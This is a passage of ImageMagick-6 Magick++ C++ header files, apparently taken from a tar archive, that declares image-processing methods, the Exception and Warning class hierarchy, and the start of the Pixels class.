distort(const DistortImageMethod method_, const size_t number_arguments_,const double *arguments_, const bool bestfit_=false); // Draw on image using a single drawable void draw(const Drawable &drawable_); // Draw on image using a drawable list void draw(const std::list<Magick::Drawable> &drawable_); // Edge image (highlight edges in image) void edge(const double radius_=0.0); // Emboss image (highlight edges with 3D effect) // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. void emboss(const double radius_=0.0,const double sigma_=1.0); // Converts pixels to cipher-pixels. void encipher(const std::string &passphrase_); // Enhance image (minimize noise) void enhance(void); // Equalize image (histogram equalization) void equalize(void); // Erase image to current "background color" void erase(void); // Extend the image as defined by the geometry. void extent(const Geometry &geometry_); void extent(const Geometry &geometry_,const Color &backgroundColor); void extent(const Geometry &geometry_,const Color &backgroundColor, const GravityType gravity_ ); void extent(const Geometry &geometry_,const GravityType gravity_); // Flip image (reflect each scanline in the vertical direction) void flip(void); // Flood-fill color across pixels that match the color of the // target pixel and are neighbors of the target pixel. // Uses current fuzz setting when determining color match. void floodFillColor(const Geometry &point_,const Color &fillColor_); void floodFillColor(const Geometry &point_,const Color &fillColor_, const bool invert_); void floodFillColor(const ::ssize_t x_,const ::ssize_t y_, const Color &fillColor_); void floodFillColor(const ::ssize_t x_,const ::ssize_t y_, const Color &fillColor_,const bool invert_); // Flood-fill color across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. void floodFillColor(const Geometry &point_,const Color &fillColor_, const Color &borderColor_); void floodFillColor(const Geometry &point_,const Color &fillColor_, const Color &borderColor_,const bool invert_); void floodFillColor(const ::ssize_t x_,const ::ssize_t y_, const Color &fillColor_,const Color &borderColor_); void floodFillColor(const ::ssize_t x_,const ::ssize_t y_, const Color &fillColor_,const Color &borderColor_,const bool invert_); // Floodfill pixels matching color (within fuzz factor) of target // pixel(x,y) with replacement opacity value using method. void floodFillOpacity(const ::ssize_t x_,const ::ssize_t y_, const unsigned int opacity_,const bool invert_=false); void floodFillOpacity(const ::ssize_t x_,const ::ssize_t y_, const unsigned int opacity_,const PaintMethod method_); void floodFillOpacity(const ::ssize_t x_,const ::ssize_t y_, const unsigned int opacity_,const Color &target_, const bool invert_=false); // Flood-fill texture across pixels that match the color of the // target pixel and are neighbors of the target pixel. // Uses current fuzz setting when determining color match. void floodFillTexture(const Geometry &point_,const Image &texture_); void floodFillTexture(const Geometry &point_,const Image &texture_, const bool invert_); void floodFillTexture(const ::ssize_t x_,const ::ssize_t y_, const Image &texture_); void floodFillTexture(const ::ssize_t x_,const ::ssize_t y_, const Image &texture_,const bool invert_); // Flood-fill texture across pixels starting at target-pixel and // stopping at pixels matching specified border color. // Uses current fuzz setting when determining color match. void floodFillTexture(const Geometry &point_,const Image &texture_, const Color &borderColor_); void floodFillTexture(const Geometry &point_,const Image &texture_, const Color &borderColor_,const bool invert_); void floodFillTexture(const ::ssize_t x_,const ::ssize_t y_, const Image &texture_,const Color &borderColor_); void floodFillTexture(const ::ssize_t x_,const ::ssize_t y_, const Image &texture_,const Color &borderColor_,const bool invert_); // Flop image (reflect each scanline in the horizontal direction) void flop(void); // Obtain font metrics for text string given current font, // pointsize, and density settings. void fontTypeMetrics(const std::string &text_,TypeMetric *metrics); // Obtain multi line font metrics for text string given current font, // pointsize, and density settings. void fontTypeMetricsMultiline(const std::string &text_, TypeMetric *metrics); // Frame image void frame(const Geometry &geometry_=frameGeometryDefault); void frame(const size_t width_,const size_t height_, const ::ssize_t innerBevel_=6, const ::ssize_t outerBevel_=6); // Applies a mathematical expression to the image. void fx(const std::string expression); void fx(const std::string expression,const Magick::ChannelType channel); // Gamma correct image void gamma(const double gamma_); void gamma(const double gammaRed_,const double gammaGreen_, const double gammaBlue_); // Gaussian blur image // The number of neighbor pixels to be included in the convolution // mask is specified by 'width_'. The standard deviation of the // gaussian bell curve is specified by 'sigma_'. void gaussianBlur(const double width_,const double sigma_); void gaussianBlurChannel(const ChannelType channel_,const double width_, const double sigma_); // Obtain immutable image pixel indexes (valid for PseudoClass images) const IndexPacket *getConstIndexes(void) const; // Transfers read-only pixels from the image to the pixel cache as // defined by the specified region const PixelPacket *getConstPixels(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_) const; // Obtain mutable image pixel indexes (valid for PseudoClass images) IndexPacket *getIndexes(void); // Transfers pixels from the image to the pixel cache as defined // by the specified region. Modified pixels may be subsequently // transferred back to the image via syncPixels. This method is // valid for DirectClass images. PixelPacket *getPixels(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_); // Converts the colors in the image to gray. void grayscale(const PixelIntensityMethod method_); // Apply a color lookup table (Hald CLUT) to the image. void haldClut(const Image &clutImage_); // Identifies lines in the image. void houghLine(const size_t width_,const size_t height_, const size_t threshold_=40); // Implode image (special effect) void implode(const double factor_); // Implements the inverse discrete Fourier transform (DFT) of the image // either as a magnitude / phase or real / imaginary image pair. void inverseFourierTransform(const Image &phase_); void inverseFourierTransform(const Image &phase_,const bool magnitude_); // An edge preserving noise reduction filter. void kuwahara(const double radius_=0.0,const double sigma_=1.0); void kuwaharaChannel(const ChannelType channel_,const double radius_=0.0, const double sigma_=1.0); // Level image. Adjust the levels of the image by scaling the // colors falling between specified white and black points to the // full available quantum range. The parameters provided represent // the black, mid (gamma), and white points. The black point // specifies the darkest color in the image. Colors darker than // the black point are set to zero. Mid point (gamma) specifies a // gamma correction to apply to the image. White point specifies // the lightest color in the image. Colors brighter than the // white point are set to the maximum quantum value. The black and // white point have the valid range 0 to QuantumRange while mid (gamma) // has a useful range of 0 to ten. void level(const double black_point,const double white_point, const double mid_point=1.0); void levelChannel(const ChannelType channel,const double black_point, const double white_point,const double mid_point=1.0); // Maps the given color to "black" and "white" values, linearly spreading // out the colors, and level values on a channel by channel bases, as // per level(). The given colors allows you to specify different level // ranges for each of the color channels separately. void levelColors(const Color &blackColor_,const Color &whiteColor_, const bool invert_=true); void levelColorsChannel(const ChannelType channel_, const Color &blackColor_,const Color &whiteColor_, const bool invert_=true); // Levelize applies the reversed level operation to just the specific // channels specified.It compresses the full range of color values, so // that they lie between the given black and white points. Gamma is // applied before the values are mapped. void levelize(const double blackPoint_,const double whitePoint_, const double gamma_=1.0); void levelizeChannel(const ChannelType channel_,const double blackPoint_, const double whitePoint_,const double gamma_=1.0); // Discards any pixels below the black point and above the white point and // levels the remaining pixels. void linearStretch(const double blackPoint_,const double whitePoint_); // Rescales image with seam carving. void liquidRescale(const Geometry &geometry_); // Local contrast enhancement void localContrast(const double radius_,const double strength_); // Magnify image by integral size void magnify(void); // Remap image colors with closest color from reference image void map(const Image &mapImage_,const bool dither_=false); // Floodfill designated area with replacement opacity value void matteFloodfill(const Color &target_,const unsigned int opacity_, const ::ssize_t x_,const ::ssize_t y_,const PaintMethod method_); // Filter image by replacing each pixel component with the median // color in a circular neighborhood void medianFilter(const double radius_=0.0); // Merge image layers (deprecated, don't use any more) void mergeLayers(const ImageLayerMethod layerType_); // Reduce image by integral size void minify(void); // Modulate percent hue, saturation, and brightness of an image void modulate(const double brightness_,const double saturation_, const double hue_); // Returns the normalized moments of one or more image channels. ImageMoments moments(void) const; // Applies a kernel to the image according to the given morphology method. void morphology(const MorphologyMethod method_,const std::string kernel_, const ssize_t iterations_=1); void morphology(const MorphologyMethod method_, const KernelInfoType kernel_,const std::string arguments_, const ssize_t iterations_=1); void morphologyChannel(const ChannelType channel_, const MorphologyMethod method_,const std::string kernel_, const ssize_t iterations_=1); void morphologyChannel(const ChannelType channel_, const MorphologyMethod method_,const KernelInfoType kernel_, const std::string arguments_,const ssize_t iterations_=1); // Motion blur image with specified blur factor // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. // The angle_ parameter specifies the angle the object appears // to be coming from (zero degrees is from the right). void motionBlur(const double radius_,const double sigma_, const double angle_); // Negate colors in image. Set grayscale to only negate grayscale // values in image. void negate(const bool grayscale_=false); void negateChannel(const ChannelType channel_,const bool grayscale_=false); // Normalize image (increase contrast by normalizing the pixel // values to span the full range of color values) void normalize(void); // Oilpaint image (image looks like oil painting) void oilPaint(const double radius_=3.0); // Set or attenuate the opacity channel in the image. If the image // pixels are opaque then they are set to the specified opacity // value, otherwise they are blended with the supplied opacity // value. The value of opacity_ ranges from 0 (completely opaque) // to QuantumRange. The defines OpaqueOpacity and TransparentOpacity are // available to specify completely opaque or completely // transparent, respectively. void opacity(const unsigned int opacity_); // Change color of opaque pixel to specified pen color. void opaque(const Color &opaqueColor_,const Color &penColor_, const bool invert_=MagickFalse); // Perform a ordered dither based on a number of pre-defined dithering // threshold maps, but over multiple intensity levels. void orderedDither(std::string thresholdMap_); void orderedDitherChannel(const ChannelType channel_, std::string thresholdMap_); // Set each pixel whose value is less than epsilon to epsilon or // -epsilon (whichever is closer) otherwise the pixel value remains // unchanged. void perceptible(const double epsilon_); void perceptibleChannel(const ChannelType channel_,const double epsilon_); // Ping is similar to read except only enough of the image is read // to determine the image columns, rows, and filesize. Access the // columns(), rows(), and fileSize() attributes after invoking // ping. The image data is not valid after calling ping. void ping(const Blob &blob_); // Ping is similar to read except only enough of the image is read // to determine the image columns, rows, and filesize. Access the // columns(), rows(), and fileSize() attributes after invoking // ping. The image data is not valid after calling ping. void ping(const std::string &imageSpec_); // Get/set pixel color at location x & y. void pixelColor(const ::ssize_t x_,const ::ssize_t y_,const Color &color_); Color pixelColor(const ::ssize_t x_,const ::ssize_t y_ ) const; // Simulates a Polaroid picture. void polaroid(const std::string &caption_,const double angle_); // Reduces the image to a limited number of colors for a "poster" effect. void posterize(const size_t levels_,const bool dither_=false); void posterizeChannel(const ChannelType channel_, const size_t levels_, const bool dither_=false); // Execute a named process module using an argc/argv syntax similar to // that accepted by a C 'main' routine. An exception is thrown if the // requested process module doesn't exist, fails to load, or fails during // execution. void process(std::string name_,const ::ssize_t argc_,const char **argv_); // Add or remove a named profile to/from the image. Remove the // profile by passing an empty Blob (e.g. Blob()). Valid names are // "*", "8BIM", "ICM", "IPTC", or a user/format-defined profile name. void profile(const std::string name_,const Blob &colorProfile_); // Retrieve a named profile from the image. Valid names are: // "8BIM", "8BIMTEXT", "APP1", "APP1JPEG", "ICC", "ICM", & "IPTC" // or an existing user/format-defined profile name. Blob profile(const std::string name_) const; // Quantize image (reduce number of colors) void quantize(const bool measureError_=false); // Apply a value with an arithmetic, relational, or logical operator. void quantumOperator(const ChannelType channel_, const MagickEvaluateOperator operator_,double rvalue_); // Apply a value with an arithmetic, relational, or logical operator. void quantumOperator(const ChannelType channel_, const MagickFunction function_,const size_t number_parameters_, const double *parameters_); // Apply a value with an arithmetic, relational, or logical operator. void quantumOperator(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_,const ChannelType channel_, const MagickEvaluateOperator operator_,const double rvalue_); // Raise image (lighten or darken the edges of an image to give a // 3-D raised or lowered effect) void raise(const Geometry &geometry_=raiseGeometryDefault, const bool raisedFlag_=false); // Random threshold image. // // Changes the value of individual pixels based on the intensity // of each pixel compared to a random threshold. The result is a // low-contrast, two color image. The thresholds_ argument is a // geometry containing LOWxHIGH thresholds. If the string // contains 2x2, 3x3, or 4x4, then an ordered dither of order 2, // 3, or 4 will be performed instead. If a channel_ argument is // specified then only the specified channel is altered. This is // a very fast alternative to 'quantize' based dithering. void randomThreshold(const Geometry &thresholds_); void randomThresholdChannel(const Geometry &thresholds_, const ChannelType channel_); // Read single image frame from in-memory BLOB void read(const Blob &blob_); // Read single image frame of specified size from in-memory BLOB void read(const Blob &blob_,const Geometry &size_); // Read single image frame of specified size and depth from // in-memory BLOB void read(const Blob &blob_,const Geometry &size_,const size_t depth_); // Read single image frame of specified size, depth, and format // from in-memory BLOB void read(const Blob &blob_,const Geometry &size_,const size_t depth_, const std::string &magick_); // Read single image frame of specified size, and format from // in-memory BLOB void read(const Blob &blob_,const Geometry &size_, const std::string &magick_); // Read single image frame of specified size into current object void read(const Geometry &size_,const std::string &imageSpec_); // Read single image frame from an array of raw pixels, with // specified storage type (ConstituteImage), e.g. // image.read( 640, 480, "RGB", 0, pixels ); void read(const size_t width_,const size_t height_,const std::string &map_, const StorageType type_,const void *pixels_); // Read single image frame into current object void read(const std::string &imageSpec_); // Transfers one or more pixel components from a buffer or file // into the image pixel cache of an image. // Used to support image decoders. void readPixels(const QuantumType quantum_,const unsigned char *source_); // Reduce noise in image using a noise peak elimination filter void reduceNoise(void); void reduceNoise(const double order_); // Resets the image page canvas and position. void repage(); // Resize image in terms of its pixel size. void resample(const Geometry &geometry_); // Resize image to specified size. void resize(const Geometry &geometry_); // Roll image (rolls image vertically and horizontally) by specified // number of columns and rows) void roll(const Geometry &roll_); void roll(const size_t columns_,const size_t rows_); // Rotate image clockwise by specified number of degrees. Specify a // negative number for degrees to rotate counter-clockwise. void rotate(const double degrees_); // Rotational blur image. void rotationalBlur(const double angle_); void rotationalBlurChannel(const ChannelType channel_, const double angle_); // Resize image by using pixel sampling algorithm void sample(const Geometry &geometry_); // Resize image by using simple ratio algorithm void scale(const Geometry &geometry_); // Segment (coalesce similar image components) by analyzing the // histograms of the color components and identifying units that // are homogeneous with the fuzzy c-means technique. Also uses // QuantizeColorSpace and Verbose image attributes void segment(const double clusterThreshold_=1.0, const double smoothingThreshold_=1.5); // Selectively blur pixels within a contrast threshold. It is similar to // the unsharpen mask that sharpens everything with contrast above a // certain threshold. void selectiveBlur(const double radius_,const double sigma_, const double threshold_); void selectiveBlurChannel(const ChannelType channel_,const double radius_, const double sigma_,const double threshold_); // Separates a channel from the image and returns it as a grayscale image. Image separate(const ChannelType channel_) const; // Applies a special effect to the image, similar to the effect achieved in // a photo darkroom by sepia toning. Threshold ranges from 0 to // QuantumRange and is a measure of the extent of the sepia toning. // A threshold of 80% is a good starting point for a reasonable tone. void sepiaTone(const double threshold_); // Allocates a pixel cache region to store image pixels as defined // by the region rectangle. This area is subsequently transferred // from the pixel cache to the image via syncPixels. PixelPacket *setPixels(const ::ssize_t x_,const ::ssize_t y_, const size_t columns_,const size_t rows_); // Shade image using distant light source void shade(const double azimuth_=30,const double elevation_=30, const bool colorShading_=false); // Simulate an image shadow void shadow(const double percent_opacity_=80.0,const double sigma_=0.5, const ssize_t x_=5,const ssize_t y_=5); // Sharpen pixels in image // The radius_ parameter specifies the radius of the Gaussian, in // pixels, not counting the center pixel. The sigma_ parameter // specifies the standard deviation of the Laplacian, in pixels. void sharpen(const double radius_=0.0,const double sigma_=1.0); void sharpenChannel(const ChannelType channel_,const double radius_=0.0, const double sigma_=1.0); // Shave pixels from image edges. void shave(const Geometry &geometry_); // Shear image (create parallelogram by sliding image by X or Y axis) void shear(const double xShearAngle_,const double yShearAngle_); // adjust the image contrast with a non-linear sigmoidal contrast algorithm void sigmoidalContrast(const size_t sharpen_,const double contrast, const double midpoint=QuantumRange/2.0); // Image signature. Set force_ to true in order to re-calculate // the signature regardless of whether the image data has been // modified. std::string signature(const bool force_=false) const; // Simulates a pencil sketch. We convolve the image with a Gaussian // operator of the given radius and standard deviation (sigma). For // reasonable results, radius should be larger than sigma. Use a // radius of 0 and SketchImage() selects a suitable radius for you. void sketch(const double radius_=0.0,const double sigma_=1.0, const double angle_=0.0); // Solarize image (similar to effect seen when exposing a // photographic film to light during the development process) void solarize(const double factor_=50.0); // Sparse color image, given a set of coordinates, interpolates the colors // found at those coordinates, across the whole image, using various // methods. void sparseColor(const ChannelType channel,const SparseColorMethod method, const size_t number_arguments,const double *arguments); // Splice the background color into the image. void splice(const Geometry &geometry_); void splice(const Geometry &geometry_,const Color &backgroundColor_); void splice(const Geometry &geometry_,const Color &backgroundColor_, const GravityType gravity_); // Spread pixels randomly within image by specified ammount void spread(const size_t amount_=3); void statistics(ImageStatistics *statistics) const; // Add a digital watermark to the image (based on second image) void stegano(const Image &watermark_); // Create an image which appears in stereo when viewed with // red-blue glasses (Red image on left, blue on right) void stereo(const Image &rightImage_); // Strip strips an image of all profiles and comments. void strip(void); // Search for the specified image at EVERY possible location in this image. // This is slow! very very slow.. It returns a similarity image such that // an exact match location is completely white and if none of the pixels // match, black, otherwise some gray level in-between. Image subImageSearch(const Image &reference_,const MetricType metric_, Geometry *offset_,double *similarityMetric_, const double similarityThreshold=(-1.0)); // Swirl image (image pixels are rotated by degrees) void swirl(const double degrees_); // Transfers the image cache pixels to the image. void syncPixels(void); // Channel a texture on image background void texture(const Image &texture_); // Threshold image void threshold(const double threshold_); // Resize image to thumbnail size void thumbnail(const Geometry &geometry_); // Applies a color vector to each pixel in the image. The length of the // vector is 0 for black and white and at its maximum for the midtones. // The vector weighting function is f(x)=(1-(4.0*((x-0.5)*(x-0.5)))) void tint(const std::string opacity_); // Transform image based on image and crop geometries // Crop geometry is optional void transform(const Geometry &imageGeometry_); void transform(const Geometry &imageGeometry_, const Geometry &cropGeometry_); // Origin of coordinate system to use when annotating with text or drawing void transformOrigin(const double x_,const double y_); // Reset transformation parameters to default void transformReset(void); // Scale to use when annotating with text or drawing void transformScale(const double sx_,const double sy_); // Add matte image to image, setting pixels matching color to // transparent void transparent(const Color &color_); // Add matte image to image, for all the pixels that lies in between // the given two color void transparentChroma(const Color &colorLow_,const Color &colorHigh_); // Creates a horizontal mirror image by reflecting the pixels around the // central y-axis while rotating them by 90 degrees. void transpose(void); // Creates a vertical mirror image by reflecting the pixels around the // central x-axis while rotating them by 270 degrees. void transverse(void); // Trim edges that are the background color from the image void trim(void); // Returns the unique colors of an image. Image uniqueColors(void) const; // Replace image with a sharpened version of the original image // using the unsharp mask algorithm. // radius_ // the radius of the Gaussian, in pixels, not counting the // center pixel. // sigma_ // the standard deviation of the Gaussian, in pixels. // amount_ // the percentage of the difference between the original and // the blur image that is added back into the original. // threshold_ // the threshold in pixels needed to apply the difference amount. void unsharpmask(const double radius_,const double sigma_, const double amount_,const double threshold_); void unsharpmaskChannel(const ChannelType channel_,const double radius_, const double sigma_,const double amount_,const double threshold_); // Softens the edges of the image in vignette style. void vignette(const double radius_=0.0,const double sigma_=1.0, const ssize_t x_=0,const ssize_t y_=0); // Map image pixels to a sine wave void wave(const double amplitude_=25.0,const double wavelength_=150.0); // Removes noise from the image using a wavelet transform. void waveletDenoise(const double threshold_,const double softness_); // Forces all pixels above the threshold into white while leaving all // pixels at or below the threshold unchanged. void whiteThreshold(const std::string &threshold_); void whiteThresholdChannel(const ChannelType channel_, const std::string &threshold_); // Write single image frame to in-memory BLOB, with optional // format and adjoin parameters. void write(Blob *blob_); void write(Blob *blob_,const std::string &magick_); void write(Blob *blob_,const std::string &magick_,const size_t depth_); // Write single image frame to an array of pixels with storage // type specified by user (DispatchImage), e.g. // image.write( 0, 0, 640, 1, "RGB", 0, pixels ); void write(const ::ssize_t x_,const ::ssize_t y_,const size_t columns_, const size_t rows_,const std::string& map_,const StorageType type_, void *pixels_); // Write single image frame to a file void write(const std::string &imageSpec_); // Transfers one or more pixel components from the image pixel // cache to a buffer or file. // Used to support image encoders. void writePixels(const QuantumType quantum_,unsigned char *destination_); // Zoom image to specified size. void zoom(const Geometry &geometry_); ////////////////////////////////////////////////////////////////////// // // No user-serviceable parts beyond this point // ////////////////////////////////////////////////////////////////////// // Construct with MagickCore::Image and default options Image(MagickCore::Image *image_); // Retrieve Image* MagickCore::Image *&image(void); const MagickCore::Image *constImage(void) const; // Retrieve ImageInfo* MagickCore::ImageInfo *imageInfo(void); const MagickCore::ImageInfo *constImageInfo(void) const; // Retrieve Options* Options *options(void); const Options *constOptions(void) const; // Retrieve QuantizeInfo* MagickCore::QuantizeInfo *quantizeInfo(void); const MagickCore::QuantizeInfo *constQuantizeInfo(void) const; // Prepare to update image (copy if reference > 1) void modifyImage(void); // Replace current image (reference counted) MagickCore::Image *replaceImage(MagickCore::Image *replacement_); // Test for ImageMagick error and throw exception if error void throwImageException(void) const; private: void read(MagickCore::Image *image, MagickCore::ExceptionInfo *exceptionInfo); void floodFill(const ssize_t x_,const ssize_t y_, const Magick::Image *fillPattern_,const Color &fill_, const MagickCore::PixelPacket *target,const bool invert_); ImageRef *_imgRef; }; } // end of namespace Magick // // Inlines // inline Magick::ClassType Magick::Image::classType(void) const { return static_cast<Magick::ClassType>(constImage()->storage_class); } inline size_t Magick::Image::columns(void) const { return constImage()->columns; } inline void Magick::Image::lineWidth(const double lineWidth_) { strokeWidth(lineWidth_); } inline double Magick::Image::lineWidth(void) const { return strokeWidth(); } inline void Magick::Image::reduceNoise(void) { reduceNoise(3.0); } inline size_t Magick::Image::rows(void) const { return constImage()->rows; } #endif // Magick_Image_header ImageMagick-6/Magick++/Exception.h 0000644 00000027125 15246445046 0012516 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003 // Copyright Dirk Lemstra 2014-2015 // // Definition of Magick::Exception and derived classes // Magick::Warning* and Magick::Error*. Derived from C++ STD // 'exception' class for convenience. // // These classes form part of the Magick++ user interface. // #if !defined(Magick_Exception_header) #define Magick_Exception_header #include "Magick++/Include.h" #include <string> #include <exception> namespace Magick { class MagickPPExport Exception: public std::exception { public: // Construct with message string Exception(const std::string& what_); // Construct with message string and nested exception Exception(const std::string& what_, Exception* nested_); // Copy constructor Exception(const Exception& original_); // Destructor virtual ~Exception() throw(); // Assignment operator Exception& operator=(const Exception& original_); // Get string identifying exception virtual const char* what() const throw(); // Get nested exception const Exception* nested() const throw(); ////////////////////////////////////////////////////////////////////// // // No user-serviceable parts beyond this point // ////////////////////////////////////////////////////////////////////// void nested(Exception* nested_) throw(); private: std::string _what; Exception* _nested; }; // // Error exceptions // class MagickPPExport Error: public Exception { public: explicit Error(const std::string& what_); explicit Error(const std::string& what_,Exception *nested_); ~Error() throw(); }; class MagickPPExport ErrorBlob: public Error { public: explicit ErrorBlob(const std::string& what_); explicit ErrorBlob(const std::string& what_,Exception *nested_); ~ErrorBlob() throw(); }; class MagickPPExport ErrorCache: public Error { public: explicit ErrorCache(const std::string& what_); explicit ErrorCache(const std::string& what_,Exception *nested_); ~ErrorCache() throw(); }; class MagickPPExport ErrorCoder: public Error { public: explicit ErrorCoder(const std::string& what_); explicit ErrorCoder(const std::string& what_,Exception *nested_); ~ErrorCoder() throw(); }; class MagickPPExport ErrorConfigure: public Error { public: explicit ErrorConfigure(const std::string& what_); explicit ErrorConfigure(const std::string& what_,Exception *nested_); ~ErrorConfigure() throw(); }; class MagickPPExport ErrorCorruptImage: public Error { public: explicit ErrorCorruptImage(const std::string& what_); explicit ErrorCorruptImage(const std::string& what_,Exception *nested_); ~ErrorCorruptImage() throw(); }; class MagickPPExport ErrorDelegate: public Error { public: explicit ErrorDelegate(const std::string& what_); explicit ErrorDelegate(const std::string& what_,Exception *nested_); ~ErrorDelegate() throw(); }; class MagickPPExport ErrorDraw: public Error { public: explicit ErrorDraw(const std::string& what_); explicit ErrorDraw(const std::string& what_,Exception *nested_); ~ErrorDraw() throw(); }; class MagickPPExport ErrorFileOpen: public Error { public: explicit ErrorFileOpen(const std::string& what_); explicit ErrorFileOpen(const std::string& what_,Exception *nested_); ~ErrorFileOpen() throw(); }; class MagickPPExport ErrorImage: public Error { public: explicit ErrorImage(const std::string& what_); explicit ErrorImage(const std::string& what_,Exception *nested_); ~ErrorImage() throw(); }; class MagickPPExport ErrorMissingDelegate: public Error { public: explicit ErrorMissingDelegate(const std::string& what_); explicit ErrorMissingDelegate(const std::string& what_,Exception *nested_); ~ErrorMissingDelegate() throw(); }; class MagickPPExport ErrorModule: public Error { public: explicit ErrorModule(const std::string& what_); explicit ErrorModule(const std::string& what_,Exception *nested_); ~ErrorModule() throw(); }; class MagickPPExport ErrorMonitor: public Error { public: explicit ErrorMonitor(const std::string& what_); explicit ErrorMonitor(const std::string& what_,Exception *nested_); ~ErrorMonitor() throw(); }; class MagickPPExport ErrorOption: public Error { public: explicit ErrorOption(const std::string& what_); explicit ErrorOption(const std::string& what_,Exception *nested_); ~ErrorOption() throw(); }; class MagickPPExport ErrorPolicy: public Error { public: explicit ErrorPolicy(const std::string& what_); explicit ErrorPolicy(const std::string& what_,Exception *nested_); ~ErrorPolicy() throw(); }; class MagickPPExport ErrorRegistry: public Error { public: explicit ErrorRegistry(const std::string& what_); explicit ErrorRegistry(const std::string& what_,Exception *nested_); ~ErrorRegistry() throw(); }; class MagickPPExport ErrorResourceLimit: public Error { public: explicit ErrorResourceLimit(const std::string& what_); explicit ErrorResourceLimit(const std::string& what_,Exception *nested_); ~ErrorResourceLimit() throw(); }; class MagickPPExport ErrorStream: public Error { public: explicit ErrorStream(const std::string& what_); explicit ErrorStream(const std::string& what_,Exception *nested_); ~ErrorStream() throw(); }; class MagickPPExport ErrorType: public Error { public: explicit ErrorType(const std::string& what_); explicit ErrorType(const std::string& what_,Exception *nested_); ~ErrorType() throw(); }; class MagickPPExport ErrorUndefined: public Error { public: explicit ErrorUndefined(const std::string& what_); explicit ErrorUndefined(const std::string& what_,Exception *nested_); ~ErrorUndefined() throw(); }; class MagickPPExport ErrorXServer: public Error { public: explicit ErrorXServer(const std::string& what_); explicit ErrorXServer(const std::string& what_,Exception *nested_); ~ErrorXServer() throw(); }; // // Warnings // class MagickPPExport Warning: public Exception { public: explicit Warning(const std::string& what_); explicit Warning(const std::string& what_,Exception *nested_); ~Warning() throw(); }; class MagickPPExport WarningBlob: public Warning { public: explicit WarningBlob(const std::string& what_); explicit WarningBlob(const std::string& what_,Exception *nested_); ~WarningBlob() throw(); }; class MagickPPExport WarningCache: public Warning { public: explicit WarningCache(const std::string& what_); explicit WarningCache(const std::string& what_,Exception *nested_); ~WarningCache() throw(); }; class MagickPPExport WarningCoder: public Warning { public: explicit WarningCoder(const std::string& what_); explicit WarningCoder(const std::string& what_,Exception *nested_); ~WarningCoder() throw(); }; class MagickPPExport WarningConfigure: public Warning { public: explicit WarningConfigure(const std::string& what_); explicit WarningConfigure(const std::string& what_,Exception *nested_); ~WarningConfigure() throw(); }; class MagickPPExport WarningCorruptImage: public Warning { public: explicit WarningCorruptImage(const std::string& what_); explicit WarningCorruptImage(const std::string& what_,Exception *nested_); ~WarningCorruptImage() throw(); }; class MagickPPExport WarningDelegate: public Warning { public: explicit WarningDelegate(const std::string& what_); explicit WarningDelegate(const std::string& what_,Exception *nested_); ~WarningDelegate() throw(); }; class MagickPPExport WarningDraw : public Warning { public: explicit WarningDraw(const std::string& what_); explicit WarningDraw(const std::string& what_,Exception *nested_); ~WarningDraw() throw(); }; class MagickPPExport WarningFileOpen: public Warning { public: explicit WarningFileOpen(const std::string& what_); explicit WarningFileOpen(const std::string& what_,Exception *nested_); ~WarningFileOpen() throw(); }; class MagickPPExport WarningImage: public Warning { public: explicit WarningImage(const std::string& what_); explicit WarningImage(const std::string& what_,Exception *nested_); ~WarningImage() throw(); }; class MagickPPExport WarningMissingDelegate: public Warning { public: explicit WarningMissingDelegate(const std::string& what_); explicit WarningMissingDelegate(const std::string& what_, Exception *nested_); ~WarningMissingDelegate() throw(); }; class MagickPPExport WarningModule: public Warning { public: explicit WarningModule(const std::string& what_); explicit WarningModule(const std::string& what_,Exception *nested_); ~WarningModule() throw(); }; class MagickPPExport WarningMonitor: public Warning { public: explicit WarningMonitor(const std::string& what_); explicit WarningMonitor(const std::string& what_,Exception *nested_); ~WarningMonitor() throw(); }; class MagickPPExport WarningOption: public Warning { public: explicit WarningOption(const std::string& what_); explicit WarningOption(const std::string& what_,Exception *nested_); ~WarningOption() throw(); }; class MagickPPExport WarningPolicy: public Warning { public: explicit WarningPolicy(const std::string& what_); explicit WarningPolicy(const std::string& what_,Exception *nested_); ~WarningPolicy() throw(); }; class MagickPPExport WarningRegistry: public Warning { public: explicit WarningRegistry(const std::string& what_); explicit WarningRegistry(const std::string& what_,Exception *nested_); ~WarningRegistry() throw(); }; class MagickPPExport WarningResourceLimit: public Warning { public: explicit WarningResourceLimit(const std::string& what_); explicit WarningResourceLimit(const std::string& what_,Exception *nested_); ~WarningResourceLimit() throw(); }; class MagickPPExport WarningStream: public Warning { public: explicit WarningStream(const std::string& what_); explicit WarningStream(const std::string& what_,Exception *nested_); ~WarningStream() throw(); }; class MagickPPExport WarningType: public Warning { public: explicit WarningType(const std::string& what_); explicit WarningType(const std::string& what_,Exception *nested_); ~WarningType() throw(); }; class MagickPPExport WarningUndefined: public Warning { public: explicit WarningUndefined(const std::string& what_); explicit WarningUndefined(const std::string& what_,Exception *nested_); ~WarningUndefined() throw(); }; class MagickPPExport WarningXServer: public Warning { public: explicit WarningXServer(const std::string& what_); explicit WarningXServer(const std::string& what_,Exception *nested_); ~WarningXServer() throw(); }; // // No user-serviceable components beyond this point. // std::string formatExceptionMessage( const MagickCore::ExceptionInfo *exception_); Exception* createException(const MagickCore::ExceptionInfo *exception_); // Throw exception based on raw data extern MagickPPExport void throwExceptionExplicit( const MagickCore::ExceptionType severity_,const char* reason_, const char* description_=(char *) NULL); // Thow exception based on ImageMagick's ExceptionInfo extern MagickPPExport void throwException( MagickCore::ExceptionInfo *exception_,const bool quiet_=false); } // namespace Magick #endif // Magick_Exception_header ImageMagick-6/Magick++/Pixels.h 0000644 00000007475 15246445046 0012032 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002 // Copyright Dirk Lemstra 2014 // // Representation of a pixel view. // #if !defined(Magick_Pixels_header) #define Magick_Pixels_header #include "Magick++/Include.h" #include "Magick++/Color.h" #include "Magick++/Image.h" namespace Magick { class MagickPPExport Pixels { public: // Construct pixel view using specified image. Pixels(Magick::Image &image_); // Destroy pixel view ~Pixels(void); // Transfer pixels from the image to the pixel view as defined by // the 